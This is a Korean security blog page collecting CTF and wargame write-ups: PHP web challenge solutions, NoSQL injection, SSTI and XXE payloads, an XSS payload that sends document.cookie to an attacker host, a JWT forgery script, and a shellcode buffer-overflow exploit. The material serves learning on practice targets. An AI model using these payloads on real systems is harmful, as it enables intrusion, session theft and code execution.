'분류 전체보기'에 해당되는 글 1000건

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

LOS2 All Clear

Wargame/Lord of SQL 2019. 5. 10. 20:04

LOS2에 WAF Bypass 컨셉의 문제 4개가 추가되서 풀어봤다. 풀면서 도움도 많이됬고 엄청 재밌었다.



'Wargame > Lord of SQL' 카테고리의 다른 글

LOS2 All Clear  (0) 2019.05.30
LOS2 chupacabra ~ incubus  (0) 2019.05.30
LOS2 cyclops  (0) 2019.05.10
LOS2 godzilla  (0) 2019.05.10
LOS2 death  (0) 2019.05.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS2 cyclops

2019. 5. 10. 19:59

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

LOS2 godzilla

2019. 5. 10. 19:59

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

LOS2 death

2019. 5. 10. 19:58

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

LOS2 cthulhu

2019. 5. 10. 19:57

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

같은 팀 동생이 재밌는 워게임 사이트 하나를 알려줘서 주말동안 문제를 좀 풀어봤다. 


재밌는 문제들이 많았는데 그 중에서 나는 웹을 제일 재밌게 풀어서 간단하게 롸업을 작성해봤다.


easy compare +-+!!


source.php


<?php
    
include 'lib.php';
    
$id = isset($_GET['id']) ? $_GET['id'] : "default";
    if( !
strcmp($_GET['id'],$key) ){
        die(
$flag);
    }else{
        echo 
"No<hr>";
    }
    
    
highlight_file(__FILE__);
?>


id 파라미터 값과 key값을 strcmp로 비교한다. 우리는 key값을 모르지만 php strcmp trick으로 우회가 가능하다. id 파라미터 값을 배열로 넘겨주면 된다.



md5md5 +-+!!


source.php


<?php
    
include 'lib.php';
    
    
$md1 = isset($_GET['md1']) ? $_GET['md1'] : "default1";
    
$md2 = isset($_GET['md2']) ? $_GET['md2'] : "default2";

    if(
md5($md1) == md5($md2) && $md1 != $md2){
        die(
$flag);
    }else{
        echo 
"No<hr>";
    }
    
highlight_file(__FILE__);

?>


md5 magic hash 문제이다. 서로 다른 값을 2개 받아서 각 값들을 md5 처리한 hash 값이 동일해야 한다. 이 때 hash값을 느슨한 비교로 비교하기 때문에 bypass가 가능하다. 구글에서 0e형태의 md5 hash를 반환하는 서로다른 값을 찾아서 각각 입력해 주면 된다.



LOFI +-+!!


<?php
    ini_set
('open_basedir'__DIR__); // Plz do not escape..

    
include 'lib.php'// Flag in here!
    
    
$page = isset($_GET['page']) ? $_GET['page'] : "default";

    
highlight_file(__FILE__);

    echo 
"<hr>";
    include 
$page '.php';
    echo 
"<hr>";

?>


LFI 문제이다. Flag가 lib.php파일에 존재한다. flag가 php 변수에 저장되어 있어서 그냥 파일을 include 시키면 플래그가 안보이기 때문에 php wrapper를 사용해서 base64 형태로 소스코드를 leak하면 된다.



getadmin +-+!!


source.php

<?php
    
include 'lib.php';

    
session_start();
    if(!isset(
$_SESSION['user'])){
        
$_SESSION['user'] = 'guest';
    }

    if(
$_SESSION['user'] === 'admin'){
        
session_destroy();
        die(
$flag);
    }

    echo 
"Welcome " $_SESSION['user'] . "!<br>";
    echo 
"You can use + operator<br><br>";

    if(isset(
$_GET['a']) && isset($_GET['b'])){
        
extract($_GET);
        echo (int)
$a + (int)$b;
    }

    echo 
"<br><hr><br>";

    
highlight_file(__FILE__);

?>


세션 내 user값이 admin이어야 한다. 해당 값은 무조건 guest로 세팅되지만 extract를 사용하고 있어서 bypass가 가능하다. extarct를 이용해 세션 내 user값을 admin으로 덮어주면 된다.



nohack +-+!!


source.php


<?php
    
include 'db.php';

    
$id = isset($_GET['id']) ? $_GET['id'] : "default";
    
$pw = isset($_GET['pw']) ? $_GET['pw'] : "default";
    
$id addslashes($id);
    
$pw md5($pw,true);

    
$query "select * from user where id='${id}' and pw='${pw}'";


    
$res mysqli_query($conn$query);
  
$arr mysqli_fetch_array($res);

    if(
count($arr) != 0){
        die(
$flag);
    }else{
        echo 
"No..";
    }
    echo 
"<hr><br>";
    
highlight_file(__FILE__);
?>


SQL Injection인데 그냥 보면 취약점이 안터진다. 근데 패스워드를 hash 처리할 때 md5의 true option을 사용하고 있다. 해당 옵션을 사용하면 함수 return 값이 hex 값이 아닌 binary 값으로 반환된다. 즉 반환값에 특문이 포함될 수 있기 때문에 리턴 값이 ' or '1'='1 대충 이런 형태로 반환되는 input을 찾아주면 된다. 간단히 구글에 검색해보면 해당 input 값을 찾을 수 있다.



request +-+!!


source.php


<?php
    ini_set
('open_basedir'__DIR__); // Plz do not escape..
  
include 'lib.php';
    
// Flag in admin.php!! but it can connect only localhost +-+!!

    
$url = isset($_GET['url']) ? $_GET['url'] : "http://c2w2m2.com";

    
$ch curl_init(); 
    
curl_setopt($chCURLOPT_URL$url); 
  
curl_setopt($chCURLOPT_HTTPHEADER$header);
  
$data curl_exec($ch); 
  
curl_close($ch); 

    
highlight_file(__FILE__);

    echo 
"<hr>";
    echo (
$data); 

?>


요청 값을 별도의 필터없이 curl로 요청한다. 문제에서 admin.php에 접근해 달라고 했기 때문에 해당 페이지의 도메인을 포함한 전체 URL 정보를 파라미터 값으로 넘겨주면 된다.



route +-+!!


source.php


<?php
    error_reporting
(0);
    include 
'lib.php';

    
$tmp urldecode($_SERVER['REQUEST_URI']);

    
$url parse_url($tmpPHP_URL_QUERY);

    if(
stripos($url'flag') !== false){
        die(
"no");
    }

    if(isset(
$_GET['flag'])){
        die(
$flag);
    }

    
highlight_file(__FILE__);

?>


URL Query 영역에 flag라는 문자열이 존재하면 안된다. 근데 우리는 flag 파라미터를 사용해야 한다. 일반적으로 불가능한 코드지만 parse_url bug를 이용해 파싱시에 false를 반환하게 해주면 된다. URI 정보를 ///~ 이런식으로 반환하게 해주면 parse_url이 파싱하면서 호스트 정보가 존재하지 않는다고 판단해 에러를 반환한다. 이를 통해 필터를 우회해서 flag 파라미터를 사용해주면 된다.



S5Ti +-+!!


문제에 들어가보면 SSTI가 터진다. 필터링이 따로 존재하지 않아 아래 구문으로 문제에서 지정해 준 flag파일을 읽어주면 된다.


payload ={{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}



Easy sqli return +-+!!


source.php


<?php
    
include 'db.php';

    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
  if(
preg_match('/[a-zA-Z0-9]/i'$id) || preg_match('/[a-zA-Z0-9]/i'$pw)) exit("Filtered"); 
  if(
preg_match('/\||&| |\t|\n|\'/i'$id) || preg_match('/\||&| |\t|\n|\'/i'$pw)) exit("Filtered"); 

    
$query "select * from user where id='${id}' and pw='${pw}'";

    echo 
"<b>".$query."</b>";
    echo 
"<br><br>";

    
$res mysqli_query($conn$query);
    
$arr mysqli_fetch_array($res);

    if(
count($arr) != 0){
        echo 
$flag;
        exit;    
    }else{
        echo 
"No..";
    }
    echo 
"<hr><br>";
    
highlight_file(__FILE__);
?>


SQLI 문제이다. false sql injection을 통해 참 값의 쿼리문을 만들어 주면 된다.


Payload = http://test.c2w2m2.com/ctf/easy_sqli/?id=\&pw=^%22%22%23



XXX +-+!!


source.php


<?php
    
if(isset($_GET['source'])){
        
highlight_file(__FILE__);
        exit;
    }

  
ini_set('open_basedir'__DIR__); // Plz do not escape..
    
libxml_disable_entity_loader(false);
    if(isset(
$_POST['xml'])){
        
$xml $_POST['xml'];
        
$root simplexml_load_string($xml,'SimpleXMLElement'LIBXML_NOENT) or die("XML parse err");
    }
?>

<form action="/ctf/XXX/index.php" method="post">
    <textarea name="xml" rows=15 cols=100  onkeydown="if(event.keyCode===9){var v=this.value,s=this.selectionStart,e=this.selectionEnd;this.value=v.substring(0, s)+'\t'+v.substring(e);this.selectionStart=this.selectionEnd=s+1;return false;}"></textarea><br><br>
    <input type="submit" value="+-+!!">
</form>

<hr><br>
<?php print_r($root); ?>


XXE 문제이다. 파싱결과를 뿌려주기 때문에 따로 OOB 없이 그냥 기본 구문을 사용해 flag 파일을 읽어주면 된다.


payload 

<?xml version="1.0"?>

<!DOCTYPE ssr[

<!ENTITY ssrtest SYSTEM  "php://filter/convert.base64-encode/resource=./flag.php">

]>

<result><test>%26ssrtest;</test></result>

Flag = TRUST{XX3_XXE_XX1}


Xs5 +-+!!


source.php


<?php
    $text 
= isset($_GET['text']) ? $_GET['text'] : 'default message';

    
$text str_replace('"''&quot;',$text);
    

    echo 
"<h3>" $text "</h3>";
    echo 
"<hr><br>";

?>

    <form method="get" action="/ctf/xs5/">
        <input type="text" placeholder="message" name="text" size="100">
        <input type="submit" value="+-+!!">
    </form>


    <a href="check.php"> check +-+!! </a>
    <br><br>

    BOT : HeadlessChrome/73.0.3683.103
    <br><br>

    Flag on Admin cookie
<hr><br>

<?php
    highlight_file
(__FILE__);
?>

<hr><br>


간단해보이는 XSS 문제인데 Chrome XSS Auditor가 적용되어 있다. 근데 코드를 보면 "를 replace 처리하는 코드가 존재한다. 해당 코드를 이용해 input과 페이지 내 뿌려지는 값이 다르도록 payload에 "를 섞어서 XSS Auditor를 Bypass 해주면 된다.



jjcode +-+!!


문제에 들어가보면 파일 다운로드 취약점이 터지는 페이지가 존재한다. 해당 페이지를 통해 모든 소스코드를 leak한 뒤 코드 분석을 해보면 util.php의 render 함수에서 SSRF가 터진다.


util.php


<?php

    function checkLogin_(){

        if(isset($_SESSION["username"])){

            return 1;

        }else{

            return 0;

        }

    }


    function checkLogin(){

        if(!checkLogin_()){

            die("Plz login");

        }

    }


    function hashing($data){

        return hash("sha256", "myst4rt_S4lt".$data."y0ur_3nd_sa1t");

    }


    function render($data){

        $data = preg_replace('/</i', '&lt;', $data);

        $data = preg_replace('/>/i', '&gt;', $data);

        $data = preg_replace('/\"/i', '&quot;', $data);

        $data = preg_replace('/javascript/i', '', $data);


        $data = preg_replace('/\[bold\](.*)\[\/bold\]/i', '<b>${1}</b>', $data);

        $data = preg_replace('/\[italic\](.*)\[\/italic\]/i', '<i>${1}</i>', $data);

        $data = preg_replace('/\[under\](.*)\[\/under\]/i', '<u>${1}</u>', $data);

        $data = preg_replace('/\[delete\](.*)\[\/delete\]/i', '<s>${1}</s>', $data);

        $data = preg_replace('/\[quote\](.*)\[\/quote\]/i', '<blockquote><p>${1}</p></blockquote>', $data);

        $data = preg_replace('/\[img\](.*)\[\/img\]/i', '<img src="${1}">', $data);


        $data = preg_replace('/\[youtube\](https?:\/\/www.youtube.com\/embed\/.*)\[\/youtube\]/i', '<iframe width="560" height="315" src="${1}" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>', $data);


        $data = preg_replace('/\[enter\]/i', '<br>', $data);


        $data = preg_replace('/\[color=(\w{0,4})\](.*)\[\/color\]/i', '<span style="color:${1};">${2}</span>', $data);

        $data = preg_replace('/\[size=(\d{0,4})\](.*)\[\/size\]/i', '<span style="font-size:${1}px;">${2}</span>', $data);


        preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

        

        for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();

    

    curl_setopt($curl, CURLOPT_URL, $url);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    

    $html = curl_exec($curl);


    if(curl_error($curl))

                $html = '';

    

    curl_close($curl);


            $desc = preg_match('/<meta property="og:description" content="(.*)"\/?>/i', $html, $match) ? $match[1] : $url;


            $title = preg_match('/\<title\>([^<>]*)<\/title\>/i', $html, $match) ? $match[1] : $url;

            if($title == $url){

                preg_match('/https?:\/\/(www|).([^.]*).*/i', $url, $title);

                $title = $title[2];

            } <meta property="og:image" content="(http://www.naver.com)"/>


            $img = preg_match('/<meta property="og:image" content="(.*)"\/?>/i', $html, $match) ? $match[1] : 'https://vignette.wikia.nocookie.net/ecole-oraliste-eslvocabulary/images/a/a1/None_flowers.jpg/revision/latest?cb=20150321170046';

            

            $curl = curl_init();

            curl_setopt($curl, CURLOPT_URL, $img);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

            $img_data = base64_encode(curl_exec($curl));

            if(curl_error($curl))

                $img_data = '';

            

            curl_close($curl);

            

            $tag = "<div class=\"box\" onclick=\"window.open('${url}')\"><div class=\"content\"><img style=\"float:left;\" src=\"data:image/png;base64, ${img_data}\"><div class=\"text\"><h2>${title}</h2><span style=\"font-size:14px\">${desc}</span></div></div></div>";


            $data = str_replace($replace, $tag,$data);

        }

        return $data;

    }

?>


코드를 잘 보면 SSRF를 통해 반환된 값이 img tag 내에서 base64 encoding된 값으로 반환되는 걸 볼 수 있다. 이제 이걸로 뭘 할 수 있는지를 보면 되는데 db 설정파일을 보면 mysql 연결 시 패스워드를 사용하지 않고 있다.


dbconfig.php


<?php

    $db = mysqli_connect(

        'localhost',

        'jjcode',

        '',

        'jjcode'

    ) or die('Error! tell admin');

?>


이를 통해 Gopher를 이용한 Mysql 접근이 가능하다는 걸 알 수 있고 해당 기법을 사용해 디비 내 존재하는 Flag를 읽어주면 된다.


해당 기법은 구글에 ssrf gopher mysql 같은 형태로 검색해서 사용해 주면 된다.



LOOFI +-+!!


기본적으로 LFI가 터진다. 이걸로 소스코드를 쭉 leak 해서 코드를 분석해주면 된다.

LFI로 RCE를 해주면 되는데, 별도의 업로드 기능이 없고 세션이 고정된 환경이라 세션값을 내가 컨트롤할 수 있기 때문에 세션 파일로 LFI를 해주면 된다. LFI 시 input이 php로 끝나는지 검증하기 때문에 세션파일명을 ssrtestphp 이런형태로 만들어주면 된다.


여기까지 가능한걸 확인한 뒤 이제 유저명에 php를 코드를 넣어주면 되는데, 회원 가입 및 로그인 시 <,>,?를 제거해 버린다. 일반적으로 php 코드를 박아넣을 수 없는 상황이기 때문에 유저명을 base64형태로 encoding해서 넣어주고 lfi로 해당 파일을 불러올 때 decoding 처리를 하기 위해 php://filter/convert.base64-decode/resource=세션파일경로 요런 형태 요청해주면 된다.


이 때 decoding 시 php 코드가 깨지지 않도록 encoding된 payload 값 앞에 문자열 개수가 4의 배수가 되도록 padding처리까지 정확히 해줘서 exploit하면 된다. 이후에는 rce를 통해 플래그 파일을 읽어주면 된다.




 







블로그 이미지

JeonYoungSin

메모 기록용 공간

,

JSONP 원리 및 사용방법

2019. 4. 30. 19:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Control You


소스보기하면 플래그가 있다.



No Sequels


로그인 창 하나가 나오는데 nosql injection이 터진다. 근데 요청 폼을 보면 username=1&password=1 이런식으로 넘어가는데 이걸 json형태로 변경하고 요청 헤더 값에 Content-Type을 application/json로 변경해서 json 요청폼으로 넘겨주면 된다.


payload

{"username":{"$ne":"1"},"password":{"$ne":"1"}}



No Sequels 2


이전 문제랑 같은 Nosql 문젠데 블라인드로 admin password를 뽑아야 된다. 그냥 regex써서 대충 아래같은 형태로 뽑아주면 된다.


payload

{"username":"admin","password":{"$regex":"^c"}}



DOM Validator


XSS 문젠데 특이하게 스크립트가 박히는 페이지에 아래 js코드로 돔 내 요소들에 있는 속성들의 값을 가지고 checksum값을 만든다. 이 값이 3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc 이 값이랑 같지 않으면 해당 페이지 내 모든 요소들을 제거해버린다.


function checksum (element) {

var string = ''

string += (element.attributes ? element.attributes.length : 0) + '|'

for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {

string += element.attributes[i].name + ':' + element.attributes[i].value + '|'

}

string += (element.childNodes ? element.childNodes.length : 0) + '|'

for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {

string += checksum(element.childNodes[i]) + '|'

}

return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)

}

var request = new XMLHttpRequest()

request.open('GET', location.href, false)

request.send(null)

if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {

document.documentElement.remove()

}


일단 저 checksum값이랑 동일한 페이지를 만들어내는건 불가능해보였다. 근데 잘 보면 checksum 코드를 타기전에 이미 내가 삽입한 XSS 코드가 실행이 되는 구조였다. 그래서 뭐지이게하고 로컬에서 테스트해보니 그냥 아무코드나 다 박아도 잘 실행이 됬다. 그래서 원격에다가 넣어보니까 이상하게 img tag만 실행이 됬다. 딱히 CSP나 이런것도 없었는데 뭔가 이상했다.


첨엔 img태그를 제외하고 나머지 <frame>,<script> 등은 위의 checksum 코드보다 html이 해석을 늦게해서 해당 태그들은 실행되기전에 체크섬로직에 걸려서 삭제되고 그래서 실행이 안되나 싶었는데 로컬에서해보니 그런것도 아니었다. 그냥 이것저것 넣다가 먹히는 구문이 있어서 풀긴했는데 왜 이놈만 되는지 잘 모르겠다.


payload

<img src=1 onerror="http://myip/"+document.cookie"/>



Cookie Cutter


해당 대회에서 가장 재밌게 푼 문제다. 문제를 보면 일단 소스를 제공해 준다.


source.js


const cookieParser = require('cookie-parser');

const express = require('express');

const crypto = require('crypto');

const jwt = require('jsonwebtoken');


const flag = "[redacted]";


let secrets = [];


const app = express()

app.use('/style.css', express.static('style.css'));

app.use('/favicon.ico', express.static('favicon.ico'));

app.use('/rick.png', express.static('rick.png'));

app.use(cookieParser())


app.use('/admin',(req, res, next)=>{

res.locals.rolled = true;

next();

})


app.use((req, res, next) => {

let cookie = req.cookies?req.cookies.session:"";

res.locals.flag = false;

try {

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;

if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}

let decoded = jwt.verify(cookie, secrets[sid]);

if(decoded.perms=="admin"){

res.locals.flag = true;

}

if(decoded.rolled=="yes"){

res.locals.rolled = true;

}

if(res.locals.rolled) {

req.cookies.session = ""; // generate new cookie

}

} catch (err) {

req.cookies.session = "";

}

if(!req.cookies.session){

let secret = crypto.randomBytes(32)

cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});

secrets.push(secret);

res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})

req.cookies.session=cookie

res.locals.flag = false;

}

next()

})


app.get('/admin', (req, res) => {

res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");

})


app.get('/', (req, res) => {

res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")

})


app.listen(3000)


코드를 보면 res.locals.flag 값을 true로 만들어주면 된다. 그럼 이제 이게 어떻게 true가 될 수 있는지 보면 되는데 jwt값의 페이로드 내에 perms 키의 value가 admin이면 된다. 


그럼이제 할거는 간단하다. jwt의 payload부분의 user값을 admin으로 바꿔주면 된다.


근데 잘보면 키 값은 랜덤한 32byte값이라 크랙이 불가능하고, 알고리즘이 HS256이어서 RSA256->HS256 요런 패턴도 해당이 안된다. 그럼 남은게 알고리즘 none으로 해서 bypass하는건데 jwt를 디코딩할 때 키 값을 가져와서 검증하는 구조라 이것도 불가능해 보였다. 

근데 잘 보면 디코딩 시 쓰는 key값을 jwt payload부분의 값을 가지고 리스트에서 가져오기 때문에 내가 컨트롤이 가능하고 이걸로 key값에 null값을 박아넣을 수 있다.

첨엔 그냥 리스트범위를 넘어가는 int형 값을 넣어서 undefined를 리턴시키려고 했는데 if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"} 요런 구문으로 필터를 하고 있었다. 그래서 로컬에다 리스트 만들어놓고 테스트 해보니 list['youngsin'] 이런식으로 index에 문자열을 넣어보니 undefined를 리턴해줬다.


이제 필요한건 다 구했고 아래 코드로 변조한 jwt 값을 구해서 넘겨주면 된다.


payload.py


jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6NDgzMywicm9sbGVkIjoieWVzIiwiaWF0IjoxNTU2MTY1NDQ0fQ.48SNu1UAgwyBWAq-TMfeOMebAwYScUUx575JYkXM3Gk"

header, payload, signature  = jwt.split('.')


# Replacing the ALGO and the payload username

header  = header.decode('base64').replace('HS256',"none")

payload = (payload+"==").decode('base64').replace('user','admin').replace('4833','"youngsin"').replace("yes","no")


header  = header.encode('base64').strip().replace("=","")

payload = payload.encode('base64').strip().replace("=","")


# 'The algorithm 'none' is not supported'

print( header+"."+payload+".")


 















'CTF > Writeup' 카테고리의 다른 글

Security Fest 2019 CTF Darkwebmessageboard  (0) 2019.05.24
DEF CON CTF Qualifier 2019 cant_even_unplug_it  (0) 2019.05.13
ASIS CTF 2019 Fort Knox  (0) 2019.04.22
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py

import os

from struct import *


p = lambda x : pack("<L" , x)

shellAddress =  p(0x40015000)


payload = "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+shellAddress


print payload

(python exploit.py ;cat) | ./xavius

블로그 이미지

JeonYoungSin

메모 기록용 공간

,